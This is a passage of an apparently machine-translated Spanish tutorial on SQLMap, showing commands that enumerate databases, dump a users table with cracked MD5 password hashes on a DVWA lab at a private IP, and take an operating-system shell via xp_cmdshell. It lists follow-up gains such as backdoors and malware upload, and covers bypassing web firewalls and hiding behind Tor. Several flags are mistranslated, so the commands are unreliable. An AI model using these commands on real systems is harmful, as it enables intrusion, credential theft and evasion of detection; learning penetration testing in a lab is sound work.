– url – URL con el parámetro supuestamente vulnerable. Es importante tener en cuenta que la variable para esta clave está escrita entre comillas, porque La URL que se está comprobando tiene más de un parámetro pasado. De lo contrario, puedes ignorar las comillas y utilizar la versión corta de la clave. “- tu sin signo igual .

- cookie: cookie de sesión para acceso directo durante un ataque (clave opcional).

Conclusión:

Análisis:

  • La aplicación es vulnerable a la inyección SQL.
  • Tipo de inyección – Consulta UNION
  • Base de datos back-end (DBMS) – MySQL5
  • Detalles técnicos del sistema operativo - linux ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Enumeramos los nombres de las bases de datos:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Explicación del comando:

—dbs: clave para enumerar las bases de datos disponibles.

Conclusión:

Análisis: SQLMap enumeró las bases de datos disponibles (7 en total).

  1. Enumeramos los nombres de las tablas (DB -dvva ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Explicación del comando:

-D – Especifica la base de datos que nos interesa.

--tables: enumera las tablas disponibles en la base de datos.

Conclusión:

Análisis: Como podemos ver, SQLMap enumeró con éxito los nombres de 2 tablas en la base de datos. dvva .

  1. Listado adicional de nombres de columnas de la tabla "usuarios ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T usuarios –columnas

Explicación del comando:

-T – Indicar la tabla que nos interesa.

—columnas: enumera las columnas disponibles en la tabla.

Conclusión:

Análisis: Como podemos ver, SQLMap enumeró con éxito los nombres de 6 columnas en la tabla. usuarios, bd dvva .

  1. Enumeramos/extraemos valores de la tabla "usuarios ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T usuarios -C ID_usuario,usuario,contraseña --dump

Explicación del comando:

C – Indicar las columnas que nos interesan.

--dump: volca valores de las columnas enumeradas.

Conclusión:

Análisis: Según la respuesta de SQLMap, observamos los siguientes puntos:

  • SQLMap recupera registros de columnas específicas y luego analiza los datos contenidos en esas columnas.
  • Una vez que los datos se reconocen como posibles hash de contraseña, SQLMap intenta descifrar el hash utilizando varios algoritmos de hash.
  • En este caso, el hash es MD5, por lo que con la primera técnica de hash que utiliza la herramienta, puede descifrar los hashes con éxito y producir una respuesta bien formateada.
  • Además, la herramienta guarda las entradas enumeradas en un formato de archivo “.csv” para uso futuro; Por lo tanto, no es necesario cargar datos Archivo de texto o tome una captura de pantalla, SQLMap se encargará de ello.
  1. Mayor explotación y toma de control del servidor (ÁSPID. , no incluidoDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=contraseña&cmdSubmit=Login" --os-shell

Explicación del comando:

—datos: especifique los parámetros para las pruebas que se envían en la solicitud POST.

—os —shell: clave especial para intentar explotar la consola del servidor mediante inyección SQL.

Conclusión:

Análisis: Según la respuesta de SQLMap, observamos los siguientes puntos:

  • Después de confirmar y explotar la inyección SQL, SQLMap verifica si el usuario es un DBA (Administrador de base de datos).
  • Después de esto, la herramienta intentó utilizar un procedimiento almacenado extendido: "xp_cmdshell", que normalmente se utiliza servidor SQL 2000.
  • "xp_cmdshell" se utiliza para realizar una tarea determinada línea de comando Como un equipo Sistema operativo. A su vez, genera el resultado como texto estándar.

Beneficios de obtener un nivel más profundo de acceso al sistema:

  • Acceso a credenciales de usuario o hash de contraseña.
  • Un shell interactivo que le permitirá cargar o descargar archivos desde el servidor.
  • Ejecute comandos de eje (OS) para explorar la red interna.
  • Posibilidad de descargar malware.
  • Mayor explotación utilizando Metasploit Framework.
  • Creación y relleno de puertas traseras.

Mejores prácticas y uso avanzado.

  1. Mapa SQL YJABÓN (Simple Objeto Acceso Protocolo ) peticiones: El proceso de análisis de solicitudes SOAP es bastante sencillo:
    • Capture su solicitud SOAP.
    • Guardarlo en un archivo de texto junto con posibles parámetros vulnerables.
    • Utilice el siguiente comando para SQLMap junto con la opción -p si conoce el parámetro vulnerable:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap analizará automáticamente la solicitud SOAP e intentará penetrar el parámetro vulnerable.
  1. Mapa SQL YJSON (javascript Objeto Notación ) peticiones: En escenarios similares de uso de SQLMap para consultas SOAP, las consultas JSON también se pueden analizar y explotar. Para un tipo de consulta JSON, SQLMap le pedirá que aproveche la vulnerabilidad detectando el tipo de consulta JSON en el "archivo de consulta". Una vez que responda que sí, la herramienta analizará la solicitud y elegirá su propio vector de ataque.
  2. Mapa SQL y servidor proxy: Los tipos de redes empresariales suelen estar protegidos y monitoreados mediante servidores proxy controlados para todo el tráfico entrante o saliente. En tales casos, tiene la opción de agregar una opción de proxy directamente a la opción SQLMap para comunicarse con la URL de destino. Aunque SQLMap es una herramienta de línea de comandos, se comunica a través del protocolo HTTP, por lo tanto, si configura un proxy HTTP para la conexión a Internet correspondiente, SQLMap lo tomará como base:
$ ./sqlmap.py --proxy=http:// :
  1. Mapa SQL YWAF (Web Solicitud Cortafuegos ): WAF es una capa adicional de protección para aplicaciones web, lo que complica significativamente el análisis y la operación utilizando métodos estándar disponibles en SQLMap. Para ello existe una función "sabotaje -script", que simplifica enormemente el trabajo con aplicaciones web ubicadas detrás de un WAF.
  2. Mapa SQL y anonimato: Si desea ocultar su identidad y hacerse pasar por anónimo ante la aplicación de destino, puede utilizar el servidor proxy TOR (The Onion Router). En SQLMap puedes configurar el proxy TOR para ocultar la fuente desde la que se genera el tráfico o solicitud con las siguientes claves:
    • colina cambiando la utilidad al modo proxy TOR.
    • colina tipo Configuración manual del protocolo proxy TOR (HTTP /SOCKS 4/4a /5).
    • controlar colina comprobar la funcionalidad del proxy TOR